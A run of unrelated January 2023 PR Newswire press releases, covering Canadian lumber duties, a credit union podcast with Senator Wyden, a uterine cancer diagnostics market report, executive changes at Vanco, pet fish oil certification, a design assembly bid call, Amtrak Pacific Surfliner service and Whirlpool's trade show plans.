Except for the statements of historical fact contained herein, the information presented in this news release constitutes "forward-looking statements" as such term is used in applicable United States and Canadian securities laws. These statements relate to analyses and other information that are based on forecasts of future results, estimates of amounts not yet determinable and assumptions of management. Any other statements that express or involve discussions with respect to predictions, expectations, beliefs, plans, projections, objectives, assumptions or future events or performance (often, but not always, using words or phrases such as "expects" or "does not expect", "is expected", "anticipates" or "does not anticipate", "plans, "estimates" or "intends", or stating that certain actions, events or results "may", "could", "would", "might" or "will" be taken, occur or be achieved) are not statements of historical fact and should be viewed as "forward-looking statements". Such forward looking statements involve known and unknown risks, uncertainties and other factors which may cause the actual results, performance or achievements of the Company to be materially different from any future results, performance or achievements expressed or implied by such forward-looking statements. Such risks and other factors include, among others, the actual results of exploration activities, variations in the underlying assumptions associated with the estimation or realization of mineral resources, the availability of capital to fund programs and the resulting dilution caused by the raising of capital through the sale of shares, accidents, labor disputes and other risks of the mining industry including, without limitation, those associated with the environment, delays in obtaining governmental approvals, permits or financing or in the completion of development or construction activities, title disputes or claims limitations on insurance coverage. Although the Company has attempted to identify important factors that could cause actual actions, events or results to differ materially from those described in forward-looking statements, there may be other factors that cause actions, events or results not to be as anticipated, estimated or intended. Many of these factors are beyond the Company's ability to control or predict. There can be no assurance that such statements will prove to be accurate as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking statements contained in this news release and in any document referred to in this news release. Important factors that may cause actual results to differ materially and that could impact the Company and the statements contained in this news release can be found in the Company's filings with the Securities and Exchange Commission. For forward-looking statements in this news release, the Company claims the protection of the safe harbor for forward-looking statements contained in the Private Securities Litigation Reform Act of 1995. The Company assumes no obligation to update or supplement any forward-looking statements whether as a result of new information, future events or otherwise. This news release shall not constitute an offer to sell or the solicitation of an offer to buy securities.

SOURCE Uranium Energy Corp
WASHINGTON, Jan. 24, 2023 /PRNewswire/ -- The U.S. Department of Commerce today announced the preliminary determination of a combined anti-subsidy and anti-dumping duty rate of 8.24% in the fourth annual review of unfairly traded Canadian softwood lumber imports into the United States. The review covers lumber imported in calendar year 2021.

"Continued enforcement of U.S. trade laws against unfairly traded Canadian lumber will maximize long-term domestic production and lumber availability produced by U.S. workers to build U.S. homes," said Andrew Miller, Chairman of the U.S. Lumber Coalition and CEO of Stimson Lumber.

"A level playing field against subsidized and dumped imports is particularly important during times of down markets when U.S. mills can least afford to lose sales to Canada's harmful unfair trade practices that endanger U.S. jobs and communities who depend on a vibrant U.S. forestry industry," added Miller.

The U.S. lumber industry established its right to the imposition of antidumping and countervailing duties in the face of unfair competition from Canada in 2017, and the industry continues to vigorously defend the existence and enforcement of those duties in all appropriate fora.

The U.S. industry remains open to a new U.S.Canada softwood lumber trade agreement if and when Canada can demonstrate that it is serious about negotiations. Until then, the U.S. Lumber Coalition fully supports the continued strong enforcement of the U.S. trade laws to address Canada's unfair softwood lumber trade practices.

About the U.S. Lumber Coalition

The U.S. Lumber Coalition is an alliance of large and small softwood lumber producers from around the country, joined by their employees, and woodland owners, working to address Canada's unfair lumber trade practices. Our goal is to serve as the voice of the American lumber community, and effectively address Canada's unfair softwood lumber trade practices, including its gross underpricing of timber. For more information, please visit the Coalition's website at www.uslumbercoalition.org.

CONTACT: Zoltan van Heyningen

[email protected] | 202-805-9133

SOURCE The U.S. Lumber Coalition
WASHINGTON, Jan. 24, 2023 /PRNewswire/ -- United States Senate Federal Credit Union President and CEO, Timothy L. Anderson recently sat down with Oregon Senator Ron Wyden to discuss the credit union business model, its mission of equalizing financial opportunity for all, and the advantages of nonprofit financial services. The conversation also highlights Senator Wyden's relationship with credit unions, his personal experience with USSFCU, and his passion for helping America's (Oregon's) small businesses.

USSFCU Spotlight Podcast Interview with Sen. Ron Wyden USSFCU Spotlight Podcast Interview with Sen. Ron Wyden USSFCU Spotlight Podcast Interview with Sen. Ron Wyden USSFCU Spotlight Podcast Interview with Sen. Ron Wyden USSFCU Spotlight Podcast Interview with Sen. Ron Wyden USSFCU Spotlight Podcast Interview with Sen. Ron Wyden

"It's a true honor to sit down with the Senator, a true credit union advocate, and to share our passion for the movement," states USSFCU President, and CEO Timothy Anderson.

Oregon's senior U.S. Senator, Democrat Ron Wyden, who was first elected to the Senate in 1996, chairs the powerful U.S. Senate Finance Committee and sits on the Energy and Natural Resources, Budget, and Intelligence Committees.

"The common theme among credit unions is they all help people save money by providing more affordable financial products," says Wyden. He goes on to explain the similarities between the credit union premise and his mission in office. "That's what I'm trying to do, help people save money and that's what credit unions do with their focus on providing more affordable financial products and services."

In addition to the unequivocal benefits credit union services offer the individual household, the pair also discussed the role small community lenders like credit unions play in providing opportunity for America's main street businesses. Senator Wyden has been a strong supporter of legislation that empowers credit unions to serve more of their local small business members.

The conversation ends with comments surrounding the virtues of the credit union movement. "America is at its best when it gives everyone a chance to get ahead. And that's what credit unions do," concludes Wyden.

The Senator's interview is part of USSFCU's recently released podcast  "USSFCU Spotlight" which features discussions about credit union services, member experiences, and the credit union's involvement in the communities they serve.

Watch the Podcast Here

About USSFCU

For over 85 years, USSFCU has provided the U.S. Senate and Capitol Hill communities with world-class financial stability, security, and service. Now a $1.2 billion credit union with 100 plus paths to membership, almost everyone has the opportunity to experience the USSFCU difference. Learn more at www.ussfcu.org.

SOURCE US Senate Federal Credit Union
SYDNEY, Jan. 24, 2023 /PRNewswire/ -- Data Bridge Market Research has recently published a Report, titled, "Uterine Cancer Diagnostics Market" The report offers an extensive analysis of key growth strategies, drivers, opportunities, key segment, Porter's Five Forces analysis, and competitive landscape. To thrive in this rapidly transforming marketplace, today's businesses call for innovative and superlative solutions. Being an outstanding resource of market info, an excellent Uterine Cancer Diagnostics market research report provides recent as well as upcoming technical and financial details of the industry to 2030. Clients accomplish unparalleled insights and acquaintance of the best market opportunities into their respective markets from this market report. Market segmentation is also covered in detail by considering several aspects that is sure to help businesses out there. Global Uterine Cancer Diagnostics market report provides in-depth market data and forecast by analyzing key business trends and identifying potential growth avenues across the entire value chain.



Data Bridge Market Research analyzes that the Global uterine cancer diagnostics market is expected to reach the value of USD 19,386.15 million by 2030, at a CAGR of 10.7% during the forecast period. Diagnostic type accounts for the largest segment in the market due to the increase in the obesity rate among the women population and rising uterine cancer patients globally. This market report also covers pricing analysis, patent analysis and technological advancements in depth.

Download Sample Copy of Uterine Cancer Diagnostics Market @ https://www.databridgemarketresearch.com/request-a-sample/?dbmr=global-uterine-cancer-diagnostics-market

Market Overview:

Diagnosis of uterine cancer includes ultrasound, biopsy procedures and blood tests. Ultrasound tests use sound waves and produce images of the ovaries and uterus. Two types of ultrasound are included in diagnostic testing for uterine cancer: abdominal ultrasound and transvaginal ultrasound. An abdominal scan test involves scanning the full bladder with a small probe across the abdomen, while a transvaginal scan involves inserting a probe tube into the vagina to scan or create an image. Biopsy procedures include endometrial biopsy, hysteroscopy and dilation and curettage.

Uterine cancer is the most common cancer that occurs in the female reproductive system. It is a malignant tumor that starts in the uterus cells and can spread to other body parts. According to research by the American Cancer Society (ACS), uterine sarcoma accounts for 5% of all uterine cancers worldwide, while endometrial cancer is the most common form of uterine cancer.

Opportunities for Players:

Increasing prevalence of uterine cancer

Uterine cancer is the most common type of gynecologic cancer. Over 90% of uterine cancers begin in the endometrium, the tissue lining the uterus. As the prevalence is increasing, the introduction of promising new treatments and therapeutic biologics and the rapid growth of hormone-resistant cancer drugs due to fewer side effects are also increasing. Awareness of the incidence of uterine cancer is growing among patients and healthcare providers, who are now becoming more active in learning about the diagnosis and treatments available for these diseases, which is expected to act as an opportunity for the market's growth.

Rates of new uterine cancer cases have risen 0.6% per year from 2010-2019 and death rates have risen an average of 1.7% per year for the same time frame. As the uterine cancer patient rate is increasing, the use of treatments and advanced technologies for cancer diagnosis will increase, which is an opportunity for market growth.

Some of the major players operating in the Uterine Cancer Diagnostics market are:

F-Hoffmann La Roche Ltd., Siemens Healthcare Private Limited, Narang Medical Limited, ESAOTE SPA, Olympus Corporation, Arquer Diagnostics Ltd, Guzip Biomarkers Corporation, General Electric, Canon Medical Systems ANZ Pty Limited., KARL STORZ, Medtronic, Stryker, Surtex Instruments Limited., Koninklijke Philips N.V., FUJIFILM Corporation, AED.MD, Jalal Surgical, Integra LifeSciences, B. Braun Melsungen AG and GRAIL

Recent Developments

In November 2022, Koninklijke Philips N.V., announced the Global launch of a next-generation compact portable ultrasound solution at the Radiological Society of North America (RSNA) annual meeting to bring the diagnostic quality associated with premium cart-based ultrasound systems to more patients. It is portable and versatile with good image quality or performance. It is compatible with Philips ultrasound systems Affiniti and EPIQ transducer. This has helped the company to expand its product portfolio

(RSNA) annual meeting to bring the diagnostic quality associated with premium cart-based ultrasound systems to more patients. It is portable and versatile with good image quality or performance. It is compatible with Philips ultrasound systems Affiniti and EPIQ transducer. This has helped the company to expand its product portfolio In April 2022 , Medtronic and GE Healthcare announced a collaboration focused on the unique needs and demand for care at Ambulatory Surgery Centers (ASCs) and Office Based Labs (OBLs). Because of this collaboration, customers can access extensive product portfolios, financial solutions and exceptional service. GE Healthcare Interventional Imaging solutions are built to help our customers deliver care at a higher level for patients, which is very useful of cancer patients. This has helped the company to expand its business

Get Full PDF Research Report to Understand More @ https://www.databridgemarketresearch.com/checkout/buy/enterprise/global-uterine-cancer-diagnostics-market

The report provides insights on the following pointers:

Market Penetration: Comprehensive information on the product portfolios of the top players in the Uterine Cancer Diagnostics market

Product Development/Innovation: Detailed insights on upcoming technologies, R&D activities, and product launches in the market

Competitive Assessment: In-depth assessment of the market strategies, and geographic and business segments of the leading players in the market

Market Development: Comprehensive information about emerging markets. This report analyzes the market for various segments across geographies

Market Diversification: Exhaustive information about new products, untapped geographies, recent developments, and Investments in the Uterine Cancer Diagnostics Market

Market Dynamics: Uterine Cancer Diagnostics Market

Technological advancements in uterine cancer diagnostics

Uterine cancer is a ubiquitous gynaecological disease with many tests available for diagnosis, which include pelvic examination, endometrial biopsy, Dilation and Curettage (D&C), Transvaginal ultrasound, Computed Tomography (CT or CAT) scan, Magnetic Resonance Imaging (MRI) and biomarker testing of the tumor. Traditional means of detecting and monitoring cancers rely largely on imaging and, where possible, blood-based protein biomarkers, many of which are non-specific. Most cases of uterine cancer are diagnosed at late stages, as the presenting symptoms are often non-specific. The signs and symptoms of uterine cancer vary from person to person, making it difficult to provide accurate early diagnosis. This calls for personalized diagnostic plans, which involve multiple diagnostic tests.

Thus, technological advancements in uterine cancer diagnostics are expected to drive the market's growth.

Rising demand for minimally invasive advanced screening techniques

Uterine cancer, especially endometrial cancer, is the fifth most common cancer in women in very high human development index regions based on age-standardized rates and its incidence has increased over the last few years. The standard strategy to diagnose endometrial cancer consists of office-based pelvic ultrasonography plus endometrial papilla sampling in cases of increased endometrial thickness. A hysteroscopy is recommended when the diagnosis is uncertain. Limitations include sample insufficiency in unsuccessful insertions (on occasions due to cervical stenosis or prolapse) and as well an abnormal sonographic appearance of the endometrium. Hence several limitations are associated with so-called standard methods of a uterine cancer diagnosis.

Thus, rising demand for minimally invasive advanced screening techniques are expected to drive the market's growth.

Consider Data Bridge Market Research for this Report which would Help Impact Your Revenues Positively

This study offers the latest product news, trends, and updates from the industry's leading players who have leveraged their market position.

It also offers strategic plans and standards to arrive at informed business decisions adopted by the main players, thereby advocating your go to market strategies.

In addition, it offers insights into the dynamics of customer behaviour that can help the organization better curate market strategies

Usage of exclusive tailor-made tools along with primary research, secondary research and our in-house data model helps us in extracting the exact market numbers

Mapping the customer in 3P grid comprising of Purpose, Planning and Positioning, thereby delivering a solution by keeping the prospecting client at the sweet spot

The market research report includes all of the market's valuable elements, such as sales growth, product pricing & analysis, growth opportunities, and recommendations for addressing market challenges

The report covers all the primary mergers & acquisitions, alliances, and collaborations that have generated additional opportunities for market players or in some cases, challenges

To Gain More Insights about this Research, Visit @ https://www.databridgemarketresearch.com/reports/global-uterine-cancer-diagnostics-market

Key Industry Segmentation: Uterine Cancer Diagnostics Market

BY DIAGNOSTIC TYPE

Instrument Based

Procedure Based

BY TYPE

Endometrial Cancer

Uterine Sarcoma

BY AGE GROUP

<30 years

31-40 years

41-50 years

51-60 years

>60 years

BY END USER

Hospitals

Diagnostic Centers

Cancer Research Centers

Ambulatory Surgical Centers

Specialized Clinics

Others

BY DISTRIBUTION CHANNEL

Direct Tenders

Third Party Distributors

Regional Analysis/Insights: Uterine Cancer Diagnostics Market

The countries covered in this Uterine Cancer Diagnostics market report U.S., Canada, Mexico, Germany, France, U.K., Italy, Russia, Spain, Netherlands, Switzerland, Norway, Poland, Sweden, Belgium, Turkey, Denmark, Finland and the rest of Europe, China, Japan, India, Australia, New Zealand, South Korea, Singapore, Malaysia, Thailand, Indonesia, Philippines, Vietnam, Taiwan and the rest of Asia-Pacific, South Africa, Saudi Arabia, Bahrain, U.A.E, Kuwait, Oman, Qatar, Egypt, Israel and the rest of Middle East And Africa, Brazil, Argentina and the rest of South America.

North America is expected to dominate the market due to the presence of key market players in the largest consumer market with high GDP. U.S. is expected to grow due to its latest advanced cancer diagnostic technology and inventions in uterine cancer diagnostics.

Table of Contents:

Introduction Market Segmentation Executive Summary Premium Insights Global Uterine Cancer Diagnostics Market: Regulations Market Overview Global Uterine Cancer Diagnostics Market, By Type Global Uterine Cancer Diagnostics Market, By Age Group Global Uterine Cancer Diagnostics Market, By End User Global Uterine Cancer Diagnostics Market, By Distribution Channel Global Uterine Cancer Diagnostics Market, By Region Global Uterine Cancer Diagnostics Market: Company Landscape SWOT Analyses Company Profile Questionnaires Related Reports

To Check the Complete Table of contents, click here @ https://www.databridgemarketresearch.com/toc/?dbmr=global-uterine-cancer-diagnostics-market

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Europe Uterine Cancer Diagnostics Market, By Diagnostic Type (Instrument Based And Procedure Based), Type (Endometrial Cancer And Uterine Sarcoma), Age Group (<30, 31-40, 41-50, 51-60 And >60), End User (Hospitals, Diagnostic Centers, Cancer Research Center, Ambulatory Surgical Centers, Specialized Clinics And Others), Distribution Channel (Direct Tender, Third Party Distributors and Others) https://www.databridgemarketresearch.com/reports/europe-uterine-cancer-diagnostics-market

Asia-Pacific Uterine Cancer Diagnostics Market, By Diagnostic Type (Instrument Based And Procedure Based), Type (Endometrial Cancer And Uterine Sarcoma), Age Group (<30, 31-40, 41-50, 51-60 And >60), End User (Hospitals, Diagnostic Centers, Cancer Research Center, Ambulatory Surgical Centers, Specialized Clinics And Others), Distribution Channel (Direct Tender, Third Party Distributors and Others) https://www.databridgemarketresearch.com/reports/asia-pacific-uterine-cancer-diagnostics-market

Middle East and Africa Uterine Cancer Diagnostics Market, By Diagnostic Type (Instrument Based And Procedure Based), Type (Endometrial Cancer And Uterine Sarcoma), Age Group (<30, 31-40, 41-50, 51-60 And >60), End User (Hospitals, Diagnostic Centers, Cancer Research Center, Ambulatory Surgical Centers, Specialized Clinics And Others), Distribution Channel (Direct Tender, Third Party Distributors and Others) https://www.databridgemarketresearch.com/reports/middle-east-and-africa-uterine-cancer-diagnostics-market

North America Uterine Cancer Diagnostics Market, By Diagnostic Type (Instrument Based And Procedure Based), Type (Endometrial Cancer And Uterine Sarcoma), Age Group (<30, 31-40, 41-50, 51-60 And >60), End User (Hospitals, Diagnostic Centers, Cancer Research Center, Ambulatory Surgical Centers, Specialized Clinics And Others), Distribution Channel (Direct Tender, Third Party Distributors and Others) https://www.databridgemarketresearch.com/reports/north-america-uterine-cancer-diagnostics-market

North America Intrauterine Contraceptive Devices Market, By Type (Hormonal Intrauterine Device, Copper Intrauterine Device), End User (Hospitals, Gynecology Clinics, Community Health Care Centers, Other), Distribution Channel (Hospital Pharmacy, Retail Pharmacy, Clinics, Online Channel, Public Channel and NGOs, Others), Country (U.S., Canada, Mexico)  Industry Trends and Forecast to 2028North America Intrauterine Contraceptive Devices Market, By Type (Hormonal Intrauterine Device, Copper Intrauterine Device), End User (Hospitals, Gynecology Clinics, Community Health Care Centers, Other), Distribution Channel (Hospital Pharmacy, Retail Pharmacy, Clinics, Online Channel, Public Channel and NGOs, Others), Country (U.S., Canada, Mexico) https://www.databridgemarketresearch.com/reports/north-america-intrauterine-contraceptive-devices-market

Europe Intrauterine Contraceptive Devices Market, By Type of Product (Hormonal, IUCD and Copper IUCD), End Use (Hospitals, Gynecology Clinics, Community Healthcare and Others), Country (Germany, Italy, U.K., France, Spain, Netherland, Belgium, Switzerland, Turkey, Russia and Rest of Europe) https://www.databridgemarketresearch.com/reports/europe-intrauterine-contraceptive-devices-market

Asia-Pacific Intrauterine Contraceptive Devices Market, By Type of Product (Hormonal, IUCD and Copper IUCD), End Use (Hospitals, Gynaecology Clinics, Community Healthcare and Others), Country (Japan, China, India, South Korea, Australia, Singapore, Malaysia, Thailand, Indonesia, Philippines, Rest of Asia- Pacific) https://www.databridgemarketresearch.com/reports/asia-pacific-intrauterine-contraceptive-devices-market

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Data Bridge Market Research has over 500 analysts working in different industries. We have catered more than 40% of the fortune 500 companies globally and have a network of more than 5000+ clientele around the globe. Data Bridge adepts in creating satisfied clients who reckon upon our services and rely on our hard work with certitude. We are content with our glorious 99.9 % client satisfying rate.

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CEO Shawn Boom Promoted to Executive Chairman

BLOOMINGTON, Minn., Jan. 24, 2023 /PRNewswire/ -- Vanco, the market's leading provider of payment solutions to education and faith organizations, is pleased to announce two exciting changes in the company. CEO Shawn Boom will transition to Executive Chairman and enterprise software and payments expert Jim McGinnis will become Chief Executive Officer.

Jim McGinnis CEO

"It is beyond rewarding and exciting to see our vision coupled with years of thoughtful execution become a reality," said Shawn Boom, Executive Chairman and prior CEO of Vanco. "Leading tremendous growth over the past five years alongside our partners, customers and Vanco's talented and dedicated team has been nothing short of a gift and I very much look forward to partnering with Jim as we advance our strategic initiatives."

"Vanco serves more than 47,000 churches, non-profits and educational organizations helping to connect communities," said Jim McGinnis, Vanco's new CEO. "I'm thrilled to be working with Shawn and am excited to help the team achieve our goal of making it easier for communities to thrive and connect as they expand their use of our growing software and fintech portfolio."

Most recently, McGinnis held the position of President at AffiniPay, a market leader in digital payment solutions tailored to professionals, the parent company of LawPay. Before being acquired by AffiniPay, McGinnis was the CEO of MyCase, an all-in-one practice management solution for law firms.

"It is a testament to Shawn's authentic leadership, ability to build a purpose-driven culture and facilitation of exceptional team execution that we are able to welcome Jim, who shares our values and a passion for our mission," said Matt Vettel with Great Hill Partners, the private equity firm behind Vanco. "We can't wait to see the great things to come during this new chapter for Vanco."

About Vanco

Based in Minneapolis and Atlanta, Vanco serves those who enrich our communities. Vanco provides community engagement capabilities, electronic payment and donation processing solutions, as well as software that enables organizations to operate more efficiently. Today, more than 47,000 churches, faith-based groups, nonprofits, schools, and educational organizations trust Vanco to simplify administrative processes, organize events and securely complete transactions every day. Visit vancopayments.com to learn more.

Media Contact:

Heather Olinger

[email protected]

702.551.6076

SOURCE Vanco
The ORIVO certification guarantees evidence-based transparency of Vital Pet Life's Fish Oils

LOS ANGELES, Jan. 24, 2023 /PRNewswire/ -- Vital Pet Life is proud to be the first US-based pet wellness company to demonstrate the traceability of its brand's fish oils through ORIVO's certification. The ORIVO verification process ensures:

An NMR-based (nuclear magnetic resonance) laboratory test verifying Vital Pet Life's fish oils' authenticity based on species and geographic origin

authenticity based on species and geographic origin Consumers have access to a guaranteed, tested, and certified fish oil

A continued trust through transparency relationship with pet consumers concerned with pet food safety and labeling

"At Vital Pet Life, we see our customers living more intentionally, creating a healthier future for themselves, their families, and the planet. We're aligned with these values. Our ethos of trust through transparency drives our organizational commitments and choices. We know that 86% of pet owners want transparency when it comes to feeding their pets. They are examining labels, seeking ingredients and brands they know and trust. By becoming ORIVO certified, we continue to provide fish oils to the pet industry that are guaranteed, tested, and approved," said Donie Yamamoto, founder and CEO of Vital Pet Life.

Based in Molde, Norway, ORIVO is the only company in the world providing this type of third-party evidence-based transparency. Based on 20 years of research, the technology developed by ORIVO verifies fish oils' authenticity based on species and geographic origin.

The need for such analytical evidence is on a rise, according to CEO of ORIVO, Svein Erik Haugmo: "We live in a world where supply chains are getting more complex, and raw material cost is increasing rapidly, partly due to ingredient shortage. It is no secret that this can force brands and their suppliers to look outside their usual, secure supply chains, potentially opening the door for economically motivated adulteration of higher valued goods. When screening the market for adulteration, we find as much as 40-50 % of products containing other ingredients than those claimed on the label. This is a dangerous game because it is a clear trend that today's pet owners demand to know what and why and seek brands who answer these questions. Vital Pet Life is indeed such a brand, and it is fantastic to be the proving part of VPLs traceability strategy!"

About Vital Pet Life  Vital Pet Life, a certified WBENC woman-owned business, is ranked number 1514 on the 2022 Inc. 5000 list of fastest-growing private companies in America. Donie Yamamoto founded Vital Pet Life in 2017 after moving to the US from the Philippines six years earlier. Of the selection of products offered by Vital Pet Life, their hero products are salmon oil and fish oil. Vital Pet Life's mission is sustainability, transparency, and animal advocacy. Find out more at VitalPetLife.com and follow on Facebook, Instagram, LinkedIn, and Twitter.

Media contact: Valerie Rice, [email protected]

SOURCE Vital Pet Life
MONTREAL, Jan. 24, 2023 /PRNewswire/ -- World Design Organization (WDO) has launched its bid process to identify a host for its 34th World Design Assembly. The organization is seeking proposals from entities interested in welcoming the international design community to their city in 2025.

Held biennially, the World Design Assembly brings together WDO's leadership, members, key industry stakeholders and others from around the globe to engage, reflect and discuss key issues affecting the design profession and the world at large. The event, which includes a one-day Research and Education Forum, an International Design Conference and WDO's General Assembly, has been hosted in a variety of design-led cities since its inception in 1959 and is often developed in conjunction with a local design event.

In close collaboration with WDO, the host will have the opportunity to elevate existing or newly developed activities that reflect their commitment to design-led transformation and speak to the accomplishments of the region's local design community.

"As the global context in which we find ourselves continues to shift, the World Design Assembly represents a significant event where the WDO community can take stock of where we've been over the last two years and explore how we can continue to do better in the future," stated WDO President David Kusuma. "Heading into the 34th edition of this event, our goal is once again to provide an international platform for solutions-driven exchange and collaboration, and we are looking forward to working alongside a host that shares our commitment to progressive design and innovation."

Interested parties are invited to download the submission guide and submit their bid before the deadline on 31 May 2023. The designated host will be notified in August 2023, with a public announcement scheduled to take place in October 2023 during the 33rd World Design Assembly in Tokyo (Japan).

About World Design Organization

World Design Organization (WDO) is an international non-governmental organization and the international voice for industrial design. We advocate for Design for a Better World, promoting and sharing knowledge of industrial design-driven innovation that enhances the economic, social, cultural, and environmental quality of life. Today, WDO services over 185 member organizations, representing thousands of industrial designers around the world.

WDO.org

Natalie Dutil, Communications Manager, [email protected]

SOURCE World Design Organization
Trains will travel between San Diego and Orange County on Saturdays and Sundays without a bus connection, while tracks remain closed on weekdays for construction

ORANGE, Calif., Jan. 23, 2023 /PRNewswire/ -- The Los Angeles  San Diego  San Luis Obispo (LOSSAN) Rail Corridor Agency, which manages the Amtrak Pacific Surfliner service, will restore partial train service between San Diego and Los Angeles. Trains will again operate between Oceanside and Irvine on Saturdays and Sundays starting February 4.

Passenger rail service was suspended between Irvine and Oceanside on September 30, 2022, out of an abundance of caution after officials noticed movement of the tracks and the adjacent hillside.

Weekend Pacific Surfliner Service to Resume on Feb. 4

Throughout the track closure, the Pacific Surfliner has operated shuttle buses between Irvine and Oceanside stations to maintain vital connections between Los Angeles, Orange and San Diego Counties. Limited train service to San Juan Capistrano was restored on October 31, 2022.

Emergency construction work, which is being led by the Orange County Transportation Authority (OCTA), has successfully stopped the movement of the hillside and stabilized the tracks in south San Clemente, clearing the way for some rail service to resume. To ensure worker safety and the most efficient completion of the project, rail service will operate only on the weekends. Construction will continue on weekdays until the project is complete, which is estimated to be at the end of March.

"The safety of our passengers and crew is our top priority, and I want to thank our customers for their patience during this extended track closure," said Jason Jewell, Managing Director of the LOSSAN Agency. "We're excited to resume weekend Pacific Surfliner train service between Los Angeles and San Diego."

On weekends, beginning on February 4, limited train service will be restored between Los Angeles, Orange, and San Diego Counties with no bus connection required, these trains include:

Southbound trains 562, 564, 770, 774, 580, 784, and 588

Northbound trains 765, 567, 777, 581, 785, 591, and 595

As a result of recent storms, tracks are closed north of Goleta for repairs and construction, with thruway bus service providing connections to San Luis Obispo and the Bay Area. Train service is anticipated to be fully restored north of Los Angeles the week of February 13th.

The schedule that has been in place since October 31, 2022, will remain in effect Monday through Friday. Service is expected to fully resume at the end of March.

Updated schedules and passenger information is available on the Pacific Surfliner website (PacificSurfliner.com/advisory) and Twitter (@PacSurfliners).

About the Amtrak Pacific Surfliner

The Pacific Surfliner travels along a 351-mile coastal route through San Diego, Orange, Los Angeles, Ventura, Santa Barbara, and San Luis Obispo counties, serving 29 stations. It is the busiest state-supported intercity passenger rail route in the United States. To learn more and plan a trip, visit pacificsurfliner.com .

About the LOSSAN Rail Corridor Agency

The Los Angeles  San Diego  San Luis Obispo (LOSSAN) Rail Corridor Agency is a joint powers authority composed of rail owners, operators and planning agencies along the entire LOSSAN rail corridor. In addition to working to improve passenger rail ridership, revenue, on- time performance, operational flexibility, and safety, the LOSSAN Agency assumed management responsibility for the Pacific Surfliner service in July 2015, following the execution of an interagency transfer agreement with the state of California. The Orange County Transportation Authority provides all necessary administrative support for the LOSSAN Agency and its Board. For more information, visit Lossan.org .

About OCTA

The Orange County Transportation Authority is the county transportation planning commission, responsible for funding and implementing transit and capital projects for a balanced and sustainable transportation system that reflects the diverse travel needs of the county's 34 cities and 3.2 million residents. With the mission of keeping Orange County moving, this includes freeways and express lanes, bus and rail transit, rideshare, commuter rail and active transportation. To sign up for more OCTA news, visit octa.net/GetConnected.

SOURCE Amtrak Pacific Surfliner
Whirlpool Corporation is back on the show floor with a focus on relationship building, innovative appliance solutions, and operational support

BENTON HARBOR, Mich., Jan. 24, 2023 /PRNewswire/ -- The home building industry is ever-changing, and in the midst of that change, trade professionals need a partner they can count on not just for purposeful, quality appliances, but for operational support, too. Whirlpool Corporation, a leading global major appliance company, will exhibit at the NAHB International Builders' Show (IBS) on Jan. 31-Feb. 2, 2023 in the West Hall of the Las Vegas Convention Center where trade professionals will have opportunities to build relationships, form new connections, and explore new product innovation and trends.

Attendees will find products across Whirlpool Corporation's family of brands  Whirlpool, Maytag, KitchenAid and JennAir. Each distinct brand offers appliances that appeal to varying customer segments and complement assorted home types to help builders meet evolving buyer needs.

"We're looking forward to being back at IBS to showcase our offerings to the trade, and establish stronger connections with those who share our vision of improving life at home," said Rob Byrd, General Manager, Builder Sales at Whirlpool Corporation. "We're committed to supporting the trade with a unique portfolio of dependable products as well as dedicated support teams so they can provide for their customers."

Attendees can expect to find purposeful innovations in the Whirlpool Corporation that suit a variety of home buyer lifestyles and reflect today's top industry trends, such as:

Pet-friendly features: Today's home buyers love their pets, but they don't love their pet's shedding, with nearly 60% [1] of pet owners agreeing that shedding pet hair is a problem. To help alleviate that challenge, the Maytag  Pet Pro System was designed to visibly remove pet hair. It unleashes additional water and a deep rinse to activate the Pet Pro Filter  the industry's first pet hair filter in the washer, removing 5X [2] more pet hair from clothes. The washer is also equipped with a built-in water faucet to rinse, spot treat or soak clothes right in the washer, eliminating extra steps. In the dryer, the Pet Pro option lifts and traps loads of pet hair with an XL lint trap.

Today's home buyers love their pets, but they don't love their pet's shedding, with nearly 60% of pet owners agreeing that shedding pet hair is a problem. To help alleviate that challenge, the was designed to visibly remove pet hair. It unleashes additional water and a deep rinse to activate the Pet Pro Filter  the industry's first pet hair filter in the washer, removing 5X more pet hair from clothes. The washer is also equipped with a built-in water faucet to rinse, spot treat or soak clothes right in the washer, eliminating extra steps. In the dryer, the Pet Pro option lifts and traps loads of pet hair with an XL lint trap. Function and beauty: Functionality is just as important as aesthetics, and buyers aren't willing to sacrifice one for the other. This spacious KitchenAid  30 Cu. Ft. 48" Built-In Side-by- Side Refrigerator has a sleek, stainless steel PrintShield finish that resists smudges and fingerprints, and inside, buyers will find innovative features that prioritize organization. For buyers who love to entertain, the Under-Shelf Prep Zone is ideal for storing food prep, chilling desserts, and more, while the moisture- and stain-resistant Wood-Look Pull Out Tray keeps ingredients beautifully organized. Plus, this premium refrigerator maintains optimal ingredient temperatures with the ExtendFresh Plus Temperature Management System.

The Whirlpool Corporation booth will also offer sneak peeks of the newest product launches in the works, including the first of its kind KitchenAid Over-the-Range Flush Built-In Microwave that allows for seamless kitchen design.

In addition to seeing featured products, registered attendees will have the chance to get exclusive insights from Whirlpool Corporation experts on some of the most prominent challenges facing the industry today. These 20-minute talks followed by a 10-minute Q&A require registration in advance and will take place in Whirlpool Corporation booth W3000. Topics and speakers include:

A Funny Thing Happened on the Way to Recession: How to Navigate 2023 with More Confidence , presented by Michael Harms , Trade Advisor at Whirlpool Corporation

, presented by , Trade Advisor at Whirlpool Corporation At 10 a.m. PST on Tuesday , January 31 and Wednesday, February 1 , Michael will present an exploration of economics and consumer behavior to help the trade respond to and navigate the coming months with more confidence.

, January 31 and , Michael will present an exploration of economics and consumer behavior to help the trade respond to and navigate the coming months with more confidence. The Final Mile: Exciting Optimizations to Benefit the Trade, presented by Jennifer Springer , Senior Director of Customer Fulfillment at Whirlpool Corporation

presented by , Senior Director of Customer Fulfillment at Whirlpool Corporation At 2 p.m. PST on Tuesday , January 31 and Wednesday, February 1 , Jennifer will provide insight on everything Whirlpool Corporation is doing to ensure success for the trade. She'll cover product availability, growth investments and more.

Whirlpool Corporation will also be hosting an exclusive happy hour in their booth on Tuesday, January 31 from 3:30-5 p.m. PST to give registered attendees a chance to experience Whirlpool PRO while networking, learning and engaging. Registration is required, and attendees can sign up here .

For more information about the company's presence at IBS and events taking place at the show, visit: whirlpoolpro.com/IBS2023. For additional details about Whirlpool Corporation, its portfolio of brands and other offerings for building industry professionals, visit WhirlpoolPro.com .

About Whirlpool Corporation

